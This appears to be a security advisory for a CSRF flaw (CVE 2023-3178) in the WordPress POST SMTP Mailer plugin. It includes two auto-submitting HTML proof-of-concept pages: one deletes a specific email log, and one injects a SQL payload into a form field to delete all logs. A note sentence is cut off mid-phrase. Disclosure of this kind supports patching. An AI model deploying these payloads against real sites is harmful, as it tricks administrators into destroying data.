POST SMTP Mailer < 2.5.7 – Arbitrary Log Deletion via CSRF | CVE 2023-3178

Description

The plugin does not have proper CSRF checks in some AJAX actions, which could allow attackers to make logged in users with the manage_postman_smtp capability delete arbitrary logs via a CSRF attack.

Note: The AJAX actions are also affected by SQL injections, making the issue

Proof of Concept

Make a logged in users with the manage_postman_smtp capability  open a page containing the HTML code below

To make them delete the log with ID 1:
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-delete-email-logs">
        <input type="text" name="selected[]" value="1">
        <input type="submit" value="submit">
    </form>
</body>

To make them delete all logs via SQL injection:
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-delete-email-logs">
        <input type="text" name="selected[]" value="0) OR 1=1 -- -">
        <input type="submit" value="submit">
    </form>
</body>